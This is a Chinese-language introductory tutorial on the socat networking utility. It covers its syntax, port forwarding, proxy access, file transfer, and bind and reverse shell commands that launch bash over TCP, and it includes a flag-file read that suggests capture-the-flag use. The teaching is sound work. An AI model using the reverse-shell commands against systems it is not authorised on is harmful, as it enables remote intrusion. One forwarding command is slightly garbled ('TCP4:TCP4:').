socat 初窺門徑

A typical socat invocation

如果您的工具箱需要高級一款高級系統(tǒng)管理工具,那 socat 就是其中一個。 socat 允許從一個位置到另一位置的雙向數(shù)據(jù)傳輸,socat 實用程序是用于在兩個獨立數(shù)據(jù)通道之間進(jìn)行雙向數(shù)據(jù)傳輸?shù)闹欣^。

socat可以連接許多不同類型的通道,包括:

  • 文件
  • 管道
  • 設(shè)備(串行線、偽終端等)
  • Sockets(UNIX, IP4, IP6 - raw, UDP, TCP)
  • SSL sockets
  • 代理 CONNECT 連接
  • 文件描述符(stdin 等)
  • The GNU line editor (readline)
  • 程序
  • 以上任意兩個的組合

socat 具被視為 netcat 的高級版本。 它們執(zhí)行類似的操作,但是 socat 具有更多其他功能,例如允許多個客戶端在端口上偵聽或重用連接。

一、為什么需要 socat

有許多有效使用 socat 的方法。 這里有一些例子:

  • TCP 端口轉(zhuǎn)發(fā)器(單發(fā)或守護(hù)程序)
  • 外部襪機(jī)
  • 攻擊弱防火墻的工具(安全和審核)
  • Shell 與 Unix 套接字的接口
  • IP6 中繼
  • 將面向 TCP 的程序重定向到串行線
  • 邏輯連接不同計算機(jī)上的串行線
  • 建立相對安全的環(huán)境(suchroot)以運行帶有網(wǎng)絡(luò)連接的客戶端或服務(wù)器 Shell 腳本

二、怎樣使用 socat?

socat 的語法非常簡單:

socat [options] <address> <address>

必須提供源地址和目標(biāo)地址才能正常工作。 地址的語法為:

protocol:host:port

三、socat 使用實例

使用 socat 進(jìn)行各種連接的一些基本示例:

1、連接到主機(jī) TCP 8080 端口

$ socat - TCP4:www.example.com:8080

在這種情況下,socat 在 STDIO(-)和名為 www.example.com 主機(jī) 8080 端口建立的 TCP4 連接之間進(jìn)行數(shù)據(jù)傳輸。

2、監(jiān)聽一個新端口

$ socat TCP-LISTEN:7000 -

3、使用 socat 作為 TCP 轉(zhuǎn)發(fā)器

  • 對于單連接:
$ socat TCP4-LISTEN:8081 TCP4:192.168.1.10:8080
  • 對于多連接,使用 fork 選項:
$ socat TCP4-LISTEN:8081,fork,reuseaddr TCP4:TCP4:192.168.1.10:8080

偵聽端口 8081,接受連接并將連接轉(zhuǎn)發(fā)到遠(yuǎn)程主機(jī).192.168.1.10 上的 8080 端口。

  • Unix sock
$ socat TCP-LISTEN:3307,reuseaddr,fork UNIX-CONNECT:/var/lib/mysql/mysql.sock

偵聽 3307 端口,接受連接并將連接轉(zhuǎn)發(fā)到遠(yuǎn)程主機(jī)上的 Unix 套接字。

4、通過代理訪問服務(wù)器

通過代理服務(wù)器訪問目標(biāo)主機(jī),并在本機(jī)進(jìn)行端口監(jiān)聽。把發(fā)到本機(jī)監(jiān)聽端口的數(shù)據(jù)轉(zhuǎn)發(fā)到目標(biāo)主機(jī):

# SOCKS4 代理,貌似 socat 不支持 SOCKS5 代理
$ socat TCP4-LISTEN:<本地端口>,reuseaddr,fork \
        SOCKS:<Proxy-Host>:<Host>:<Port>,socksport=<Proxy-Port>,socksuser=<user>

# HTTP 代理
$ socat TCP4-LISTEN:<本地端口>,reuseaddr,fork \
        PROXY:<Proxy-Host>:<Host>:<Port>,proxyport=<Proxy-Port>,proxyauth=<user>:<pass>

同時,也可以將本地端口監(jiān)聽改為標(biāo)準(zhǔn)輸入輸出,以這種方式協(xié)助 ssh 通過代理訪問目標(biāo)主機(jī)。

如:以通過 HTTP 代理訪問

# 主機(jī):user@server.net
# 代理:http://proxyuser:proxypwd@proxy.net:30808
$ ssh -o \
    ProxyCommand='socat - proxy:proxy.net:%h:%p,proxyport=30808,proxyauth=proxyuser:proxypwd' \
    user@server.net

5、實現(xiàn)一個簡單的基于網(wǎng)絡(luò)的消息收集器:

$ socat -u TCP4-LISTEN:3334,reuseaddr,fork OPEN:/tmp/test.log,creat,append

在此示例中,當(dāng)客戶端連接到 3334 端口時,將生成一個新的子進(jìn)程。 客戶端發(fā)送的所有數(shù)據(jù)都將附加到文件 /tmp/test.log。 如果文件不存在,則 socat 會創(chuàng)建它。 選項 reuseaddr 允許立即重啟服務(wù)器進(jìn)程。

6、文件操作

  • 文件讀寫
# 從絕對路徑讀取
$ socat - /var/www/html/flag.php 

# 從相對路徑讀取
# 注: 這里的路徑一般是絕對路徑,如果要使用相對路徑記得要加上 ./
$ socat - ./flag.php

# 寫入文件
$ echo "This is Test" | socat - /tmp/hello.html
  • 文件傳遞

再看文件傳遞的例子。nc 也經(jīng)常用來傳遞文件,但是 nc 有一個缺點,就是不知道文件什么時候傳完了,一般要用Ctrl-C 來終止,或者估計一個時間,用 -w 參數(shù)來讓他自動終止。用 socat 就不用這么麻煩了:

Host Command
On host 1 $ socat -u open:myfile.exe,binary tcp-listen:999
On host 2 $ socat -u tcp:host1:999 open:myfile.exe,create,binary

7、Shell

正向 Shell:

正向 Shell 就是 Server 提供網(wǎng)絡(luò)監(jiān)聽以及啟動 Shell,供 Client 控制

# Server - Linux 192.168.1.100
$ socat tcp-l:8888 system:bash,pty,stderr
# macOS
$ socat readline tcp:192.168.197.100:8888
反向 Shell:

反向 Shell 就是 Server 提供網(wǎng)絡(luò)監(jiān)聽,Client 啟動 Shell,在 Client 連接后對 Client 進(jìn)行控制

# Server - Linux 192.168.1.100
$ socat tcp-l:8888 readline
# macOS
$ socat system:bash,pty,stderr tcp:192.168.197.100:8888

以上時相對比較常用的場景,其余更復(fù)雜的應(yīng)用可以翻閱相關(guān)資料,有些特定場景有更方便的實現(xiàn),如:NAT 映射,更推薦使用 frp,可參考《推薦一款很好用的內(nèi)網(wǎng)穿透工具–frp》。

四、參考

(完)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容